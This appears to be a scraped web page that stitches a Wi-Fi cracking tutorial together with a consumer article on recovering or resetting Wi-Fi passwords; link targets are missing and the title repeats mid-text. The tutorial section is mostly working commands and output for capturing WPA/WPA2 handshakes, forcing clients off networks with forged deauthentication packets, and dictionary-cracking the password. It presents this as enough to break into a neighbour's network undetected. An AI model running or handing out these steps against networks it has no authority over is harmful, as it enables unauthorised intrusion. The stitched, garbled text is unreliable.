• Brute Force Wifi Cracker Mac

It offers features similar to Kismet and is used as wireless network discovery hacking tool. As the name suggests, this tool is only available for Mac. It scans for networks passively only on supported wireless cards and then try to crack WEP and WPA keys by using brute force or exploiting any flaw. //Install Macports. //Install aircrack-ng: sudo port install aircrack-ng. //Install the latest Xcode, with the Command Line Tools. //Create the following symlink: sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport. //Figure out which channel you need to sniff.

README.md Wi-Fi Cracking Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and /. This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords.

It is not exhaustive, but it should be enough information for you to test your own network's security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don't actually use the password that you crack.

An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the. If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used. For a variety of suggestions and alternative methods, see the. And have also graciously provided translations to and the in Chinese if you prefer those versions. DISCLAIMER: This software/tutorial is for educational purposes only.

It should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.

Getting Started This tutorial assumes that you:. Have a general comfortability using the command-line.

Are running a debian-based linux distro, preferably (OSX users see the ). Have installed. sudo apt-get install aircrack-ng. Have a wireless card that supports (see for a list of supported devices) Cracking a Wi-Fi Network Monitor Mode Begin by listing wireless interfaces that support monitor mode with. Airodump-ng mon0 You should see output similar to what is below.

CH 13 Elapsed: 52 s 2017-07-23 15:49 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests 14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8 14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP 14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro 9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme 00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome 06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2 78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2 9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast2EEA-EXT BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca For the purposes of this demo, we will choose to crack the password of my network, 'hackme'. Remember the BSSID MAC address and channel ( CH) number as displayed by airodump-ng, as we will need them both for the next step.

Capture a 4-way Handshake WPA/WPA2 uses a to authenticate devices to the network. You don't have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing airmon-ng to monitor traffic on the target network using the channel and bssid values discovered from the previous command.

# replace -c and -bssid values with the values of your target network # -w specifies the directory where we will save the packet capture airodump-ng -c 3 -bssid 9C:5C:8E:C9:AB:C0 -w. Mon0 CH 6 Elapsed: 1 min 2017-07-23 16:09 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS Now we wait. Once you've captured a handshake, you should see something like WPA handshake: bc:d3:c9:ef:d2:67 at the top right of the screen, just right of the current time. If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to reconnect, be sending malicious deauthentication packets at them. This often results in the capture of a 4-way handshake.

See the below for info on this. Once you've captured a handshake, press ctrl-c to quit airodump-ng. You should see a.cap file wherever you told airodump-ng to save the capture (likely called -01.cap). We will use this capture file to crack the network password. I like to rename this file to reflect the network name we are trying to crack. Mv./-01.cap hackme.cap Crack the Network Password The final step is to crack the password using the captured handshake.

If you have access to a GPU, I highly recommend using hashcat for password cracking. I've created a simple tool that makes hashcat super easy to use called.

Brute Force Wifi Cracker Mac

If you don't have access to a GPU, there are various online GPU cracking services that you can use, like. You can also try your hand at CPU cracking with Aircrack-ng. Note that both attack methods below assume a relatively weak user generated password. Most WPA/WPA2 routers come with strong 12 character random passwords that many users (rightly) leave unchanged. If you are attempting to crack one of these passwords, I recommend using the dictionary files. Cracking With naive-hashcat (recommended) Before we can crack the password using naive-hashcat, we need to convert our.cap file to the equivalent hashcat file format.hccapx.

You can do this easily by either uploading the.cap file to or using the tool directly. # download git clone cd naive-hashcat # download the 134MB rockyou dictionary file curl -L -o dicts/rockyou.txt # crack! # 2500 is the hashcat hash mode for WPA/WPA2 HASHFILE=hackme.hccapx POTFILE=hackme.pot HASHTYPE=2500./naive-hashcat.sh Naive-hashcat uses various, and (smart brute-force) attacks and it can take days or even months to run against mid-strength passwords. The cracked password will be saved to hackme.pot, so check this file periodically.

Once you've cracked the password, you should see something like this as the contents of your POTFILE: e30a5a57fc00211fc9fcc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet Where the last two fields separated by: are the network name and password respectively. If you would like to use hashcat without naive-hashcat see for info. Cracking With Aircrack-ng Aircrack-ng can be used for very basic dictionary attacks running on your CPU. Before you run the attack you need a wordlist.

I recommend using the infamous rockyou dictionary file. # -a2 specifies WPA2, -b is the BSSID, -w is the wordfile aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap If the password is cracked you will see a KEY FOUND!

Message in the terminal followed by the plain text version of the network password. Aircrack-ng 1.2 beta3 00:01:49 111040 keys tested (1017.96 k/s) KEY FOUND! hacktheplanet Master Key: A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E Transient Key: CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 EAPOL HMAC: 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4 Deauth Attack A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake 'sender' addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with airodump-ng. Use airodump-ng to monitor a specific access point (using -c channel -bssid MAC) until you see a client ( STATION) connected.

A connected client look something like this, where is 64:BC:0C:48:97:F7 the client MAC. CH 6 Elapsed: 2 mins 2017-07-23 19:15 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 - 144 10 6 54e WPA2 CCMP PSK ASUS BSSID STATION PWR Rate Lost Frames Probe 9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS Now, leave airodump-ng running and open a new terminal. We will use the aireplay-ng command to send fake deauth packets to our victim client, forcing it to reconnect to the network and hopefully grabbing a handshake in the process. # put your network device into monitor mode airmon-ng start wlan0 # listen for all nearby beacon frames to get target BSSID and channel airodump-ng mon0 # start listening for the handshake airodump-ng -c 6 -bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0 # optionally deauth a connected client to force a handshake aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0 ########## crack password with aircrack-ng.

########## # download 134MB rockyou.txt dictionary file if needed curl -L -o rockyou.txt # crack w/ aircrack-ng aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap ########## or crack password with naive-hashcat ########## # convert cap to hccapx cap2hccapx.bin capture/-01.cap capture/-01.hccapx # crack with naive-hashcat HASHFILE=hackme.hccapx POTFILE=hackme.pot HASHTYPE=2500./naive-hashcat.sh Appendix The response to this tutorial was so great that I've added suggestions and additional material from community members as an. Check it out to learn how to:. Capture handshakes and crack WPA passwords on MacOS/OSX. Capture handshakes from every network around you with wlandump-ng. Use crunch to generate 100+GB wordlists on-the-fly. Spoof your MAC address with macchanger A of the appendix is also available. Attribution Much of the information presented here was gleaned from.

Thanks also to the awesome authors and maintainers who work on Aircrack-ng and Hashcat. Overwhelming thanks to and for translating this tutorial into. Further shout outs to, and who also provided suggestions and typo fixes on and GitHub. If you are interested in hearing some proposed alternatives to WPA2, check out some of the great discussion on Hacker News post.

PCMag reviews products, but we may earn affiliate commissions from buying links on this page. Chances are you have a Wi-Fi network at home, or live close to one (or more) that tantalizingly pop up in a list whenever you boot up the laptop. The problem is, if there's a lock next to the network name (the SSID, or service set identifier), that indicates security is turned on. Without the password or passphrase, you're not going to get access to that network, or the sweet, sweet internet that goes with it. Netsh wlan show profile The results will bring up a section called User Profiles—those are all the Wi-Fi networks (aka WLANs, or wireless local area networks) you've accessed and saved. Pick the one you want to get the password for, highlight it, and copy it. At the prompt below, type the following, but replace the Xs with the network name you copied; you only need the quotation marks if the network name has spaces in it.

Netsh wlan show profile name='XXXXXXXX' key=clear In the new data that comes up, look under Security Settings for the line 'Key Content.' The word displayed is the Wi-Fi password/key you are missing. On macOS, open up the Spotlight search (Cmd+Space) and type terminal to get the Mac equivalent of a command prompt. Type the following, replacing the Xs with the network name. Security find-generic-password -wa XXXXX Reset the Router The above option is more of a friendly option for known networks; this is the brute force method. Before you do a full router reset just to get on the wireless, try to log into the router first.

From there, you can easily reset your Wi-Fi password/key if you've forgotten it. That's not possible if you don't know the password for the router, either.

(They're not the same thing unless you set it up that way). Resetting the router only works if you have access. That access could be over Wi-Fi (which we've just established you don't have) or physically utilizing an Ethernet cable.

Or that access can simply be you being in the same room as the router. Almost every router in existence has a recessed reset button. Push it with a pen or unfolded paperclip, hold it for about 10 seconds, and the router will reset to the factory settings. If you've got a router that came from your internet service provider (ISP), check the stickers on the unit before a reset—the ISP might have printed the router and Wi-Fi key right on the hardware. Once a router is reset, you need another password (plus a username) to access the router itself. Again, you can do this via a PC attached to the router via Ethernet—you'll need that since the reset probably killed any potential Wi-Fi connection you had going in. The actual access is typically done with a web browser.

The URL to type is either 192.168.1.1 or 192.168.0.1, or some variation. Try them randomly, which generally works. Or, to figure out which one, on the PC connected to the router, open a command prompt and type 'ipconfig' without the quotes. Look among the gobbledygook for an 'IPv4 Address,' which will start with 192.168. The other two spaces, called octets, are going to be different numbers between 0 and 255.

Note the third octet (probably a 1 or 0). The fourth is specific to the PC you're using to log into the router. In the browser type 192.168.x.1, replacing the X with the number you found in the ipconfig search. The 1 in the last octet should point at the router—it's the number one device on the network.

At this point, the router should then ask for a username and password. Y can check your manual, but you probably lost or threw that away. So instead, go to, which exists for one reason: to tell people the default username/password on every router ever created. You'll need the router's model number, but that's easy enough to find on the back or bottom. You'll quickly see a pattern among router makers of having the username of admin and a password of password. Since most people are lazy and don't change an assigned password, you could try those options before hitting the reset button. (But c'mon, you're better than that—change the password when you access the router's settings via your web browser.) Once you've accessed the router interface, go to the Wi-Fi settings, turn on the wireless networks, and assign strong but easy-to-recall passwords.

After all, you don't want to share with neighbors without your permission. Make that Wi-Fi password easy to type on a mobile device, too. Nothing is more frustrating than trying to get a smartphone on Wi-Fi with some cryptic, impossible to key-in-via-thumbs nonsense, even if it is the most secure.

Crack the Code You didn't come here because the headline said 'reset the router,' though. You want to know how to crack the password on a Wi-Fi network. Searching on 'wi-fi password hack,' or other variations, nets you a lot of links—mostly for software on sites where the adware and bots and scams are pouring like snake oil. Download them at your own risk, for Windows PCs especially. It's best to have a PC that you can afford to get effed up a bit if you go that route. I had multiple attempts with tools I found just get outright deleted by my before I could even try to run the EXE installation file.

You could create a system just for this kind of thing, maybe dual-boot into a separate operating system that can do what's called 'penetration testing'—a form of offensive approach security, where you examine a network for any and all possible paths of a breach. Is a Linux distribution built for just that purpose. You can run Kali Linux off a CD or USB key without even installing it to your PC's hard drive. It's free and comes with all the tools you'd need to crack a network.

If you're only after a Wi-Fi network, the distro is a Live CD targets them directly. If you don't want to install a whole OS, then try the tried-and-true tools of Wi-Fi hackers. Aircrack has been around for years, going back to when Wi-Fi security was only based on WEP (Wired Equivalent Privacy). WEP was weak even back in the day and was supplanted in 2004 by WPA (Wi-Fi Protected Access). The latest —labeled as a 'set of tools for auditing wireless networks,' so it should be part of any network admin's toolkit—will take on cracking WEP and WPA-PSK keys. Aircrack-ng comes with full documentation, but it's not simple. To crack a network you need to have the right kind of Wi-Fi adapter in your computer, one that supports packet injection.

You need to be comfortable with the command line and have a lot of patience. Your Wi-Fi adapter and Aircrack have to gather a lot of data to get anywhere close to decrypting the passkey on the network you're targeting.

It could take a while. If you prefer a graphical user interface (GUI), there is for macOS. It's mainly known as a 'sniffer' for seeking out Wi-Fi networks, but can crack some keys with the right adapter installed.

It's the kind of thing we don't need much of these days since our phones and tablets do a pretty good job of showing us every Wi-Fi signal in the air around us. Also on the Mac:. To use those, or Aircrack-ng on the Mac, you need to install them using, a tool for installing command-line products on the Mac.

Cracking the much stronger WPA/WPA2 passwords and passphrases is the real trick. Is the one tool that looks to be up to the task. You'll need that command-line comfort again to work with it.

After two to 10 hours of brute force attacks, Reaver should be able to reveal a password. But it's only going to work if the router you're going after has both a strong signal and WPS (Wi-Fi Protected Setup) turned on. WPS is the feature where you can push a button on router, another button on a Wi-Fi device, and they find each other and link auto-magically, with a fully encrypted connection. It's also the 'hole' through which Reaver crawls. Even if you turn off WPS, sometimes it's not completely off, but turning it off is your only recourse if you're worried about hacks on your own router via Reaver.

Or, get a router that doesn't support WPS. For more, read.